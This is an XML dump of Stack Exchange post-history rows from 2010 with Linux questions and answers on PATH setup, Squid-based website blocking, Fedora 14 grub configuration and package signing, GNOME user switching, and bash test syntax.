  <row Id="8169" PostHistoryTypeId="2" PostId="3808" RevisionGUID="032e6fc4-69ad-4b88-9ca5-3ffd3c459dc6" CreationDate="2010-11-06T11:15:56.070" UserId="1078" Text="You may have success using `/dev/stdout` as the filename and piping the output of your application to `gzip`.&#xD;&#xA;&#xD;&#xA;`/dev/stdout` is a symlink to `/proc/self/fd/1`.&#xD;&#xA;&#xD;&#xA;Similarly, you may be able to use `/dev/stdin` as a filename and pipe the output of `gzip` to the application.&#xD;&#xA;&#xD;&#xA;I say *may*, because the application may be expecting a seekable file that it writes to (reads from), but `/dev/std{in,out}` will not be seekable. If this is the case then you are probably lost. You will need to use a seekable file as the target for the application." />
  <row Id="8170" PostHistoryTypeId="2" PostId="3809" RevisionGUID="c6223933-2106-419f-8106-52b8d3261919" CreationDate="2010-11-06T12:24:49.803" UserId="2504" Text="If I want to run commands regardless where I'm currently am in the filesystem, should I create symbolic links of these programs to the folder bin ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="8171" PostHistoryTypeId="1" PostId="3809" RevisionGUID="c6223933-2106-419f-8106-52b8d3261919" CreationDate="2010-11-06T12:24:49.803" UserId="2504" Text="How can I run commands from everywhere" />
  <row Id="8172" PostHistoryTypeId="3" PostId="3809" RevisionGUID="c6223933-2106-419f-8106-52b8d3261919" CreationDate="2010-11-06T12:24:49.803" UserId="2504" Text="écommandölineà" />
  <row Id="8173" PostHistoryTypeId="2" PostId="3810" RevisionGUID="5da0d7b5-7df4-40d4-b52f-65e280fe7fd2" CreationDate="2010-11-06T12:42:55.237" UserId="2180" Text="Originally, I thought, sure that's easy: just mount a loopback device with a compressed filesystem where the program expects to write to. Unfortunately, upon searching, I found that there aren't many read/write filesystems, and what's there (jffs2) can't be mounted via a loopback device.&#xD;&#xA;&#xD;&#xA;I did find [FuseCompress][1] which may be what you're looking for, but if you need high reliability, I'd skip it.&#xD;&#xA;&#xD;&#xA;Another alternative would be to store the file on a USB hard drive, and make a symlink at the location the program writes to. This may be too much of a hassle if you frequently work with the program or if you don't already have a 250GB+ USB drive hanging around.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://miio.net/wordpress/projects/fusecompress/" />
  <row Id="8174" PostHistoryTypeId="2" PostId="3811" RevisionGUID="8713447d-fe67-4902-ab16-2ee4a1a6babd" CreationDate="2010-11-06T12:46:36.030" UserId="274" Text="If you want to run a command `foo` in the directory your shell is currently in, you basically have two options:&#xD;&#xA;&#xD;&#xA;1. Type `./foo` at the shell prompt.&#xD;&#xA;&#xD;&#xA;2. Add the `.` directory (`.` is a name for &quot;the current directory&quot;) to the `PATH` environment variable; how you do this depends on the shell you are using:&#xD;&#xA;  * for Bourne-type shells (bash, zsh, ksh, etc.) you write (see [this page](http://www.codecoffee.com/tipsforlinux/articles/030.html) for more information):&#xD;&#xA;      &#xD;&#xA;            export PATH=$PATH:.&#xD;&#xA;&#xD;&#xA;  * for csh-type shells (tcsh, csh) you write (see [this page](http://www.stat.rice.edu/~helpdesk/howto/cshell.html) for more information):&#xD;&#xA;&#xD;&#xA;            set path = ( $path .)&#xD;&#xA;&#xD;&#xA;Note that 2. is a security risk on multi-user systems: imagine you `cd` to directory `/tmp` and a malicious user has created a malware binary named `ls` in there..&#xD;&#xA;" />
  <row Id="8175" PostHistoryTypeId="2" PostId="3812" RevisionGUID="61d901da-cfab-481e-9e3c-7f450ef6b6dc" CreationDate="2010-11-06T13:16:29.223" UserId="29" Text="I believe you are looking for the Task Manager widget. Click the cashew in the right corner of the panel. click add widgets. search for task manager. hover over the new task manager added to the panel. you should see a + like set of arrows, use that to adjust the position of the task manager widget to where you want it, left or right. Once it's there, right click on the cashew -&gt; click lock widgets.&#xD;&#xA;&#xD;&#xA;As far as resetting it I do believe there is a configuration file...&#xD;&#xA;&#xD;&#xA;    -rw------- 1 xenoterracide users 3.7K Nov  6 08:12 .kde4/share/config/plasma-desktop-appletsrc&#xD;&#xA;&#xD;&#xA;though it seems to contain the settings for every widget, panel etc, I would definitely back it up before experimenting.&#xD;&#xA;&#xD;&#xA;If this doesn't work for you perhaps you could upload a screenshot to SE and show us what you're dealing with." />
  <row Id="8176" PostHistoryTypeId="2" PostId="3813" RevisionGUID="60a29136-57a5-4ec2-b1e9-f83aed1171dc" CreationDate="2010-11-06T14:06:06.977" UserId="1327" Text="This question is two part.&#xD;&#xA;&#xD;&#xA;First, If I had a list of websites that I would've liked to block. How do I tell my computer do to block those and any relevant subdomains?&#xD;&#xA;&#xD;&#xA;Secondly, How do I get this right on a per-user basis. For Example, telling the computer to block userA from accessing facebook should not block userB from facebook.&#xD;&#xA;&#xD;&#xA;Bonus points if the answer is a command-line one. " />
  <row Id="8177" PostHistoryTypeId="1" PostId="3813" RevisionGUID="60a29136-57a5-4ec2-b1e9-f83aed1171dc" CreationDate="2010-11-06T14:06:06.977" UserId="1327" Text="Blacklisting websites for certain users" />
  <row Id="8178" PostHistoryTypeId="3" PostId="3813" RevisionGUID="60a29136-57a5-4ec2-b1e9-f83aed1171dc" CreationDate="2010-11-06T14:06:06.977" UserId="1327" Text="éinternetà" />
  <row Id="8179" PostHistoryTypeId="2" PostId="3814" RevisionGUID="8788a6f4-c3a2-4ec8-9476-e467f80551cf" CreationDate="2010-11-06T15:55:04.917" UserId="2078" Text="I've been trying to install a few windows games with wine on Linux Mint 10 (based on ubuntu 10.10), but I am finding that my cd-rom mount points aren't standard.&#xD;&#xA;&#xD;&#xA;ie: rather than /media/cdrom I get /media/disc_name [ a la /media/Warcraft\ III]&#xD;&#xA;&#xD;&#xA;This seems to cause problems during the installation of multi-disc games, and games which require the disc to be in the drive after installation. In both cases the target disc cannot be found, even when the mount point is verified to match the original installation source, or updated in the installer to match the location of the second disc due to autonaming. &#xD;&#xA;&#xD;&#xA;Any ideas what I could do here? Near all cases result in a file not found error.&#xD;&#xA;" />
  <row Id="8180" PostHistoryTypeId="1" PostId="3814" RevisionGUID="8788a6f4-c3a2-4ec8-9476-e467f80551cf" CreationDate="2010-11-06T15:55:04.917" UserId="2078" Text="Wine cdrom mount locations on Linux Mint 10 (Ubuntu 10.10) -- problems post install/switching discs" />
  <row Id="8181" PostHistoryTypeId="3" PostId="3814" RevisionGUID="8788a6f4-c3a2-4ec8-9476-e467f80551cf" CreationDate="2010-11-06T15:55:04.917" UserId="2078" Text="éubuntuàéwineà" />
  <row Id="8182" PostHistoryTypeId="2" PostId="3815" RevisionGUID="e7bb09c4-5734-410b-92d4-5dc21f87342a" CreationDate="2010-11-06T16:23:56.530" UserId="885" Text="There are three parts in your question, in fact:&#xD;&#xA;&#xD;&#xA;1. Decide on a blocking strategy at the network level: what connections are allowed? &#xD;&#xA;2. Implement that blocking strategy.&#xD;&#xA;3. … in a way that only affects certain users.&#xD;&#xA;&#xD;&#xA;Blocking websites is not easy. In fact, I would say that it's impossible to completely block a website without completely blocking network access. All you can do is make the blocked user's life more difficult, but if they really want to they will be able to access the blocked site, with increased latency and decreased bandwidth, provided they have enough technical sophistication and possibly can rely on an outside server. For ordinary browsing, users can look at cached copies on Google or otherwise. Users who have an outside server can use it as a proxy, or they can use existing proxies (open proxies come and go too fast to block usefully).&#xD;&#xA;&#xD;&#xA;You can try blocking by domain name or by IP address. IP addresses might work for a big site like Facebook, although you'd have to keep up with all their server moves. It won't work with smaller sites that are co-hosted.&#xD;&#xA;&#xD;&#xA;A lightweight way to block some web sites is to block their DNS name resolution. Just this is likely make the users' life annoying enough that they work around your block by using an external proxy (which does require some sophistication). But there's no practical way of tuning DNS resolution per-user (it's not impossible in principle, but you'd need to set up a working [`identd`](http://en.wikipedia.org/wiki/Ident) and find a DNS server that talks to it).&#xD;&#xA;&#xD;&#xA;The natural way to block web sites is to block direct web access and allow only access through a web proxy. [Squid](http://www.squid-cache.org/) is the de facto standard. You can set it up as a *transparent* proxy (all connections on ports 80 and 443 are routed to the proxy machine; the odd website on another port may or may not work depending on how you configure your firewall) or as an explicit proxy (users must configure their browser; only the machine with the proxy can connect to the outside).&#xD;&#xA;&#xD;&#xA;An easy way of implementing per-user settings is to require [authentication](http://wiki.squid-cache.org/Features/Authentication) in the proxy. Then having [different levels of access](http://wiki.squid-cache.org/SquidFaq/ContentAdaptation) is a job for the proxy. To avoid the password requirement, you can also make the [proxy use ident](http://wiki.squid-cache.org/SquidFaq/SquidAcl) (though this adds latency for all accesses).&#xD;&#xA;&#xD;&#xA;Your task will be easier if you can run the proxy on a different machine (it can be a virtual machine). Doing everything on the same machine is [possible but complicated on Linux](http://askubuntu.com/questions/4988/2-network-interfaces-connected-to-internet-choose-the-one-to-use-according-to-th/4992#4992), and I suspect it's also possible-but-complicated on other unices.&#xD;&#xA;" />
  <row Id="8183" PostHistoryTypeId="2" PostId="3816" RevisionGUID="339063c7-661f-4051-8dab-6c9eccb63f3b" CreationDate="2010-11-06T18:10:53.147" UserId="1131" Text="I am installing Fedora 14 using a slightly non-standard method, i.e. loading the install media vmlinuz/initrd.img files via an existing grub2 instance (I fetched them from a mirror).&#xD;&#xA;&#xD;&#xA;The installer works fine, but I was a little bit surprised that after selecting the network install route I manually have to enter the URL of a FC14 mirror.&#xD;&#xA;&#xD;&#xA;Luckily, I am having a secondary computer with network access available for looking up some mirror url.&#xD;&#xA;&#xD;&#xA;Thus my question: Does the FC14 really does not include any default install mirror urls? Or am I missing something?" />
  <row Id="8184" PostHistoryTypeId="1" PostId="3816" RevisionGUID="339063c7-661f-4051-8dab-6c9eccb63f3b" CreationDate="2010-11-06T18:10:53.147" UserId="1131" Text="Does not the Fedora installer include default mirrors URLs?" />
  <row Id="8185" PostHistoryTypeId="3" PostId="3816" RevisionGUID="339063c7-661f-4051-8dab-6c9eccb63f3b" CreationDate="2010-11-06T18:10:53.147" UserId="1131" Text="éfedoraàéinstallà" />
  <row Id="8186" PostHistoryTypeId="2" PostId="3817" RevisionGUID="563f81d3-e55a-4fab-a9e3-39e614206f72" CreationDate="2010-11-06T18:21:34.733" UserId="1131" Text="I am installing Fedora 14 and I am wondering if&#xD;&#xA;&#xD;&#xA; 1. the Fedora packages are cryptographically signed&#xD;&#xA; 1. package signatures are checked by the installer by default&#xD;&#xA; 1. package signatures are checked by yum when installing additional packages or doing upgrades" />
  <row Id="8187" PostHistoryTypeId="1" PostId="3817" RevisionGUID="563f81d3-e55a-4fab-a9e3-39e614206f72" CreationDate="2010-11-06T18:21:34.733" UserId="1131" Text="Are packages cryptographically signed in Fedora 14?" />
  <row Id="8188" PostHistoryTypeId="3" PostId="3817" RevisionGUID="563f81d3-e55a-4fab-a9e3-39e614206f72" CreationDate="2010-11-06T18:21:34.733" UserId="1131" Text="éfedoraàéinstallàépackageömanagementà" />
  <row Id="8189" PostHistoryTypeId="5" PostId="3809" RevisionGUID="a36f0070-2924-473e-ae80-20ffaba550c2" CreationDate="2010-11-06T19:18:17.320" UserId="73" Comment="added 10 characters in body; edited title" Text="What should I do if I want to be able to run a given program regardless of my current directory? Should I create a symbolic link to the program in the `/bin` folder?&#xD;&#xA;" />
  <row Id="8190" PostHistoryTypeId="4" PostId="3809" RevisionGUID="a36f0070-2924-473e-ae80-20ffaba550c2" CreationDate="2010-11-06T19:18:17.320" UserId="73" Comment="added 10 characters in body; edited title" Text="How can I make a program executable from everywhere" />
  <row Id="8191" PostHistoryTypeId="2" PostId="3818" RevisionGUID="72d3e97d-e12a-4369-b521-ca4e7c196a9a" CreationDate="2010-11-06T20:01:09.497" UserId="1131" Text="[It seems that I hit following bug in Fedora 14][1] - I deselected installing grub into the MBR while using the graphical installer, because I want to use an existing grub instance.&#xD;&#xA;&#xD;&#xA;Now, I want to look up the grub.conf or menu.lst in the new installed Fedora 14 system to adjust my existing grub config - but I cannot find them anywhere.&#xD;&#xA;&#xD;&#xA;I just information about how grub-install and gruppy are not able to create a grub.conf from scratch.&#xD;&#xA;&#xD;&#xA;Thus my question: How to generate a grub.conf from scratch in Fedora 14, if it is missing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.redhat.com/show_bug.cgi?id=184220" />
  <row Id="8192" PostHistoryTypeId="1" PostId="3818" RevisionGUID="72d3e97d-e12a-4369-b521-ca4e7c196a9a" CreationDate="2010-11-06T20:01:09.497" UserId="1131" Text="How to generate grub.conf from scratch in Fedora 14?" />
  <row Id="8193" PostHistoryTypeId="3" PostId="3818" RevisionGUID="72d3e97d-e12a-4369-b521-ca4e7c196a9a" CreationDate="2010-11-06T20:01:09.497" UserId="1131" Text="éfedoraàéinstallàégrubà" />
  <row Id="8194" PostHistoryTypeId="2" PostId="3819" RevisionGUID="9090168e-44d9-475c-96b6-3a79461bd89d" CreationDate="2010-11-06T20:23:25.280" UserId="73" Text="I'm not sure if Fedora 14 uses the legacy version of GRUB (0.97) or the new version (1.xx); you can check by running `grub --version` on the command line. Either way the configuration file format is pretty simple; the legacy one is documented [here](http://www.gnu.org/software/grub/manual/legacy/grub.html#Configuration), and the newer one [here](http://www.gnu.org/software/grub/manual/grub.html#Configuration). The newer one even comes with [`grub-mkconfig`](http://www.gnu.org/software/grub/manual/grub.html#Invoking-grub_002dmkconfig) to generate a configuration file for you" />
  <row Id="8195" PostHistoryTypeId="2" PostId="3820" RevisionGUID="d44a4e8e-5dd9-4267-a6c6-04244c6d3b57" CreationDate="2010-11-06T21:32:43.870" UserId="1898" Text="If you just export PATH=$PATH:. at the command line it will only last for the length of the session though.&#xD;&#xA;&#xD;&#xA;If you want to change it permanently add export PATH=$PATH:. to your ~/.bashrc file (just at the end is fine)." />
  <row Id="8196" PostHistoryTypeId="2" PostId="3821" RevisionGUID="474097f8-66cd-42b6-9cff-076dc2a3f380" CreationDate="2010-11-06T21:56:08.647" UserId="1389" Text="Basically, I want to disable multiple logins. The family laptop (not mine) has a problem with the x server -- at least it seems to be the x server. When two users are logged in simultaneously the x-server fails to start for the one who was logged in first. Having two users logged in seems to steal processor speed anyway. So I want to disable people from choosing 'switch user' over 'log out (username)' or 'shut down'." />
  <row Id="8197" PostHistoryTypeId="1" PostId="3821" RevisionGUID="474097f8-66cd-42b6-9cff-076dc2a3f380" CreationDate="2010-11-06T21:56:08.647" UserId="1389" Text="How to disable multiple logins in GNOME?" />
  <row Id="8198" PostHistoryTypeId="3" PostId="3821" RevisionGUID="474097f8-66cd-42b6-9cff-076dc2a3f380" CreationDate="2010-11-06T21:56:08.647" UserId="1389" Text="éloginà" />
  <row Id="8199" PostHistoryTypeId="5" PostId="3818" RevisionGUID="af435aff-bbe6-44fa-864d-b515a84d079b" CreationDate="2010-11-06T23:11:22.593" UserId="1131" Comment="kernel parameters" Text="[It seems that I hit following bug in Fedora 14][1] - I deselected installing grub into the MBR while using the graphical installer, because I want to use an existing grub instance.&#xD;&#xA;&#xD;&#xA;Now, I want to look up the grub.conf or menu.lst in the new installed Fedora 14 system to adjust my existing grub config - but I cannot find them anywhere.&#xD;&#xA;&#xD;&#xA;I just information about how grub-install and gruppy are not able to create a grub.conf from scratch.&#xD;&#xA;&#xD;&#xA;Thus my question: How to generate a grub.conf from scratch in Fedora 14, if it is missing?&#xD;&#xA;&#xD;&#xA;**Update:** The point is to get the set of default kernel options a grub.conf includes, when created by the Fedora installer.&#xD;&#xA;&#xD;&#xA;I have booted the fedora installation via grub and only setting the 'ro root=' options which worked.&#xD;&#xA;&#xD;&#xA;However, it would be great if someone could post a standard generated grub stanza from his/her Fedora 14 system to see the kernel parameter differences.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.redhat.com/show_bug.cgi?id=184220" />
  <row Id="8200" PostHistoryTypeId="2" PostId="3822" RevisionGUID="95007046-84f1-459b-9d56-23129d849642" CreationDate="2010-11-06T23:19:00.527" UserId="2180" Text="Placing a link to the file in the /bin directory isn't the best thing to do for multiple reasons.&#xD;&#xA;&#xD;&#xA; - If the actual executable file is in a location that some users can't see or execute, they see it as a bad link or dysfunctional program.&#xD;&#xA; - The /bin directory is supposed to be reserved for programs which are required for running the system (things like chmod, mkdir, etc).&#xD;&#xA;&#xD;&#xA;You can actually place (install) the executable file in /usr/bin/ or even /usr/local/bin/. Of course, you've manually installed the program at that point; your distribution isn't going to keep track of it the way it does the rest of your programs - you'll have to manually upgrade it when necessary and manually remove it if you want it gone. Also, you'll have to know what packages it depends on (it sounds like you already use the program, so that's taken care of, but in general...).&#xD;&#xA;&#xD;&#xA;Unless I'm setting up a program that I expect other users to use, that's not what I usually do: I create a bin directory just for me in my home directory, and I edit my shell profile to add ~/bin/ to my PATH environment variable. I find it easier to keep track of the programs I've installed that way, because it is separated from the rest of the system." />
  <row Id="8201" PostHistoryTypeId="5" PostId="3458" RevisionGUID="56c0b60d-1e0d-4b50-b6ce-9e62182cd768" CreationDate="2010-11-07T00:22:19.137" UserId="481" Comment="added 155 characters in body" Text="    grep -Fxf list -v /etc/remotedomains &gt; remotedomains.new&#xD;&#xA;    mv remotedomains.new /etc/remotedomains&#xD;&#xA;&#xD;&#xA;The `-v` tells grep to only output lines that don't match the pattern.&#xD;&#xA;&#xD;&#xA;The `-f list` tells grep to read the patterns from the file `list`.&#xD;&#xA;&#xD;&#xA;The `-F` tells grep to interpret the patterns as plain strings, not regular expressions (so you won't run into trouble with regex meta-characters).&#xD;&#xA;&#xD;&#xA;The `-x` tells grep to match the whole line, e.g. if there's a pattern `foo` that should only remove the line `foo`, not the line `foobar` or `barfoo`." />
  <row Id="8202" PostHistoryTypeId="2" PostId="3823" RevisionGUID="a58cb30d-75da-4b44-af7c-90f67a455a39" CreationDate="2010-11-07T04:32:45.807" UserId="1207" Text="The following is the `grub.conf` present immediately after installation of Fedora 14 within a VirtualBox VM.  During installation I used all of the default options.&#xD;&#xA;&#xD;&#xA;    # grub.conf generated by anaconda&#xD;&#xA;    #&#xD;&#xA;    # Note that you do not have to rerun grub after making changes to this file&#xD;&#xA;    # NOTICE:  You have a /boot partition.  This means that&#xD;&#xA;    #          all kernel and initrd paths are relative to /boot/, eg.&#xD;&#xA;    #          root (hd0,0)&#xD;&#xA;    #          kernel /vmlinuz-version ro root=/dev/mapper/VolGroup-lv_root&#xD;&#xA;    #          initrd /initrd-[generic-]version.img&#xD;&#xA;    #boot=/dev/sda&#xD;&#xA;    default=0&#xD;&#xA;    timeout=0&#xD;&#xA;    splashimage=(hd0,0)/grub/splash.xpm.gz&#xD;&#xA;    hiddenmenu&#xD;&#xA;    title Fedora (2.6.35.6-45.fc14.x86_64)&#xD;&#xA;            root (hd0,0)&#xD;&#xA;            kernel /vmlinuz-2.6.35.6-45.fc14.x86_64 ro root=/dev/mapper/VolGroup-lv_root rd_LVM_LV=VolGroup/lv_root rd_LVM_LV=VolGroup/lv_swap rd_NO_LUKS rd_NO_MD rd_NO_DM LANG=en_US.UTF-8 SYSFONT=latarcyrheb-sun16 KEYBOARDTYPE=pc KEYTABLE=us rhgb quiet&#xD;&#xA;            initrd /initramfs-2.6.35.6-45.fc14.x86_64.img&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8203" PostHistoryTypeId="2" PostId="3824" RevisionGUID="0aeb8f1f-e37c-4e19-b178-8389934b7746" CreationDate="2010-11-07T04:54:16.140" UserId="1002" Text="There is a setting `/desktop/gnome/lockdown/disable_user_switching` in GConf that allows you to disable the user switching.&#xD;&#xA;&#xD;&#xA;You can change this setting by running `gconf-editor` from the Alt+F2 &quot;Run&quot; dialog (depending on your distro, it might also be available somewhere in the menus)." />
  <row Id="8204" PostHistoryTypeId="2" PostId="3825" RevisionGUID="c87cd768-ee9f-4634-97f9-e077e31b3861" CreationDate="2010-11-07T06:40:05.093" UserId="1207" Text="According to [the Fedora Documenation][1]:&#xD;&#xA;&#xD;&#xA;&gt; All Fedora packages are signed with the Fedora GPG key. GPG stands for GNU Privacy Guard, or GnuPG, a free software package used for ensuring the authenticity of distributed files. For example, a private key (secret key) locks the package while the public key unlocks and verifies the package. If the public key distributed by Fedora does not match the private key during RPM verification, the package may have been altered and therefore cannot be trusted.&#xD;&#xA;&#xD;&#xA;&gt;The RPM utility within Fedora automatically tries to verify the GPG signature of an RPM package before installing it. If the Fedora GPG key is not installed, install it from a secure, static location, such as an Fedora installation CD-ROM or DVD. &#xD;&#xA;&#xD;&#xA;Further, according to the [Yum Documentation][2]:&#xD;&#xA;&#xD;&#xA;&gt; Yum provides secure package management by enabling GPG (Gnu Privacy Guard; also known as GnuPG) signature verification on GPG-signed packages to be turned on for all package repositories (i.e. package sources), or for individual repositories. When signature verification is enabled, Yum will refuse to install any packages not GPG-signed with the correct key for that repository. This means that you can trust that the RPM packages you download and install on your system are from a trusted source, such as The Fedora Project, and were not modified during transfer. &#xD;&#xA;&#xD;&#xA;On a freshly installed Fedora 14 system, the `/etc/yum.conf` includes&#xD;&#xA;&#xD;&#xA;    gpgcheck=1&#xD;&#xA;&#xD;&#xA;Indicating that this feature of yum is enabled by default.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thus it seems that the answers to (1) and (3) are &quot;Yes&quot;.  I believe the answer to (2) is more complicated.  &#xD;&#xA;&#xD;&#xA;Both the DVD and the Live CD have the ability to verify the entire disk.  If you are concerned with the integrity of your install media, you can use this built-in functionality (see [the documentation][3]).  If you are more concerned with security, you may want to verify the ISO before burning, using the method provided here:&#xD;&#xA;&#xD;&#xA;https://fedoraproject.org/en/verify&#xD;&#xA;&#xD;&#xA;(See [this question][4] for tips on how to get the checksum for already burnt CD.)&#xD;&#xA;&#xD;&#xA;As to whether the packages themselves are checked during installation, I believe that depends on the installation method you are using.  If you install using the Live CD, I believe that the live image is being copied directly to your disk, thus the packages aren't being installed by the package manager and their signatures aren't being checked.  If you install using a Network Install or the full DVD, I believe that it then installs the packages and uses `rpm`, which should check the signature; however, I don't have documentation to support either of these suspicions.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.fedoraproject.org/en-US/Fedora/14/html/Security_Guide/sect-Security_Guide-Updating_Packages-Verifying_Signed_Packages.html&#xD;&#xA;  [2]: http://docs.fedoraproject.org/en-US/Fedora/13/html/Deployment_Guide/ch-yum.html&#xD;&#xA;  [3]: http://docs.fedoraproject.org/en-US/Fedora/10/html/Installation_Guide/sn-verifying-media.html&#xD;&#xA;  [4]: http://unix.stackexchange.com/questions/3792/calculate-md5sum-of-a-cd-dvd" />
  <row Id="8205" PostHistoryTypeId="5" PostId="3816" RevisionGUID="29e348ca-0a46-418c-bcb2-a5fcd58878e5" CreationDate="2010-11-07T07:10:31.030" UserId="1327" Comment="deleted 38 characters in body; edited title; edited title" Text="I installed Fedora 14 using a slightly non-standard method, i.e. loading the install media vmlinuz/initrd.img files via an existing grub2 instance. (I fetched them from a mirror).&#xD;&#xA;&#xD;&#xA;The installer works fine, but I was a little bit surprised that after selecting the network install route I had to manually enter the URL of a FC14 mirror.&#xD;&#xA;&#xD;&#xA;Luckily, I am having a secondary computer with network access available for looking up mirror URLs.&#xD;&#xA;&#xD;&#xA;Does the FC14 not include any default install mirror urls? Or am I missing something?" />
  <row Id="8206" PostHistoryTypeId="4" PostId="3816" RevisionGUID="29e348ca-0a46-418c-bcb2-a5fcd58878e5" CreationDate="2010-11-07T07:10:31.030" UserId="1327" Comment="deleted 38 characters in body; edited title; edited title" Text="Does the Fedora installer not include default URLs for installation mirrors?" />
  <row Id="8207" PostHistoryTypeId="6" PostId="3821" RevisionGUID="a8baec5e-c92a-4af9-b0ae-be1f47b29166" CreationDate="2010-11-07T09:45:01.160" UserId="1002" Comment="edited tags" Text="éloginàégdmà" />
  <row Id="8208" PostHistoryTypeId="6" PostId="3821" RevisionGUID="74a9344c-024e-47c9-9d37-48925e2144fd" CreationDate="2010-11-07T09:45:37.837" UserId="1002" Comment="edited tags" Text="égnomeàéloginàégdmà" />
  <row Id="8209" PostHistoryTypeId="2" PostId="3826" RevisionGUID="78ccd29c-d31c-452c-b9ae-87353e1877d3" CreationDate="2010-11-07T13:21:38.083" UserId="258" Text="I want to build an appliance for the kitchen. It is supposed to play music (files, streams, CDA), surf the web (recipe sites!), maybe play video (files and streams) display todays agenda during breakfast.&#xD;&#xA;&#xD;&#xA;Because I do not want it to run 24/7, it should boot up really fast. I am thinking about a small SSD for the OS.&#xD;&#xA;&#xD;&#xA;I also want to use a touch screen.&#xD;&#xA;&#xD;&#xA;I will probably use NetBSD or Linux (not sure yet).&#xD;&#xA;&#xD;&#xA;It really should get the feel of an appliance like a car GPS system or a smart phone.&#xD;&#xA;&#xD;&#xA;Now here is the question: Is there some kind of interface that can be operated by touch screen (on screen keyboard?) and that can be tweaked to what I want to do with it?&#xD;&#xA;&#xD;&#xA;Bonus question: Did you build such a system yourself? How?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8210" PostHistoryTypeId="1" PostId="3826" RevisionGUID="78ccd29c-d31c-452c-b9ae-87353e1877d3" CreationDate="2010-11-07T13:21:38.083" UserId="258" Text="Building an appliance" />
  <row Id="8211" PostHistoryTypeId="3" PostId="3826" RevisionGUID="78ccd29c-d31c-452c-b9ae-87353e1877d3" CreationDate="2010-11-07T13:21:38.083" UserId="258" Text="éguiàétouchöscreenà" />
  <row Id="8212" PostHistoryTypeId="2" PostId="3827" RevisionGUID="6b77c7db-3423-4263-8339-a0d5c8260f5a" CreationDate="2010-11-07T13:38:34.180" UserId="2511" Text="The packages are cryptographically signed, and the yum package installer does check those signatures when you add packages after the fact. The initial installer, however, does not check package signatures. This is a difficult problem, because: how to you verify that the cryptographic signatures you have on your install media are good when you don't, by definition, trust that install media?&#xD;&#xA;&#xD;&#xA;See [this Fedora bugzilla entry][1] for history and details. This is the oldest bug still open in Red Hat's database, and it's so old that it's only three digits. (New bugs are now numbered well into the six hundred thousands.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But, the entire install DVD is checksummed, and you can verify that that's good externally before starting your install against checksum files which *are* cryptographically signed. So, if you're very concerned (and in this day and age, it's good to be), do a non-network install after verifying the ISO you download against the GPG key from the official Fedora Project web site.&#xD;&#xA;&#xD;&#xA;So to answer your three questions: yes, sort of, and yes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.redhat.com/show_bug.cgi?id=998 &quot;(fidelitas-ex-nihilo) Network install/upgrade is unsafe, should check GPG signatures.&quot;" />
  <row Id="8218" PostHistoryTypeId="2" PostId="3830" RevisionGUID="8f976c4d-a0d5-4e42-8b82-e54a757d6610" CreationDate="2010-11-07T14:32:20.507" UserId="258" Text="I am looking for a graphics card (AGP) with a TV-Out (SVideo or Composite) that is not a PITA with X. I guess it depends on the driver/X-Server.&#xD;&#xA;&#xD;&#xA;The card needs to be small and should not have a huge cooler mounted beause it is supposed to be plugged into a shuttle case. The on board VIA UniChrome chipsets TV-Out is supposed to play well with Linux with the openChrome-Driver (www.openchrome.org seems to be down), but I could not get it to work.&#xD;&#xA;&#xD;&#xA;So this are the conditions:&#xD;&#xA;- Linux (current Ubuntu?)&#xD;&#xA;- AGP&#xD;&#xA;- short card&#xD;&#xA;- small cooler (possibly passive or really quiet)&#xD;&#xA;- TV-Out playing well with Linux and X&#xD;&#xA;- card should still be available through second hand sources (eBay?)&#xD;&#xA;&#xD;&#xA;Do you have any recommendations and/or experiences to share?" />
  <row Id="8219" PostHistoryTypeId="1" PostId="3830" RevisionGUID="8f976c4d-a0d5-4e42-8b82-e54a757d6610" CreationDate="2010-11-07T14:32:20.507" UserId="258" Text="Good graphics card for TV-Out" />
  <row Id="8220" PostHistoryTypeId="3" PostId="3830" RevisionGUID="8f976c4d-a0d5-4e42-8b82-e54a757d6610" CreationDate="2010-11-07T14:32:20.507" UserId="258" Text="élinuxàégraphicsà" />
  <row Id="8221" PostHistoryTypeId="2" PostId="3831" RevisionGUID="d370a9cd-26e0-4566-9472-fc3a96866f27" CreationDate="2010-11-07T15:16:22.537" UserId="2567" Text="Hi &#xD;&#xA;&#xD;&#xA;In a bash script to check if variable $1 is set, &#xD;&#xA;what is the difference between &#xD;&#xA;&#xD;&#xA;    if [ -z &quot;$1&quot; ] &#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    if [&quot;$1&quot; = &quot;&quot; ] &#xD;&#xA;&#xD;&#xA;or are they the same? &#xD;&#xA;&#xD;&#xA;I have found my self writing the second one in some scripts, &#xD;&#xA;but then I read that the -z flag is doing the same &#xD;&#xA;([http://www.faqs.org/docs/Linux-HOWTO/Bash-Prog-Intro-HOWTO.html#ss9.2][1])...&#xD;&#xA;&#xD;&#xA;So my question is if there is some problems using the second one, &#xD;&#xA;if we ignore that the first one looks a little better.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Johan&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/Linux-HOWTO/Bash-Prog-Intro-HOWTO.html#ss9.2" />
  <row Id="8222" PostHistoryTypeId="1" PostId="3831" RevisionGUID="d370a9cd-26e0-4566-9472-fc3a96866f27" CreationDate="2010-11-07T15:16:22.537" UserId="2567" Text="In bash is if [ -z &quot;$1&quot; ] and if [&quot;$1&quot; = &quot;&quot; ] the same?" />
  <row Id="8223" PostHistoryTypeId="3" PostId="3831" RevisionGUID="d370a9cd-26e0-4566-9472-fc3a96866f27" CreationDate="2010-11-07T15:16:22.537" UserId="2567" Text="ébashà" />
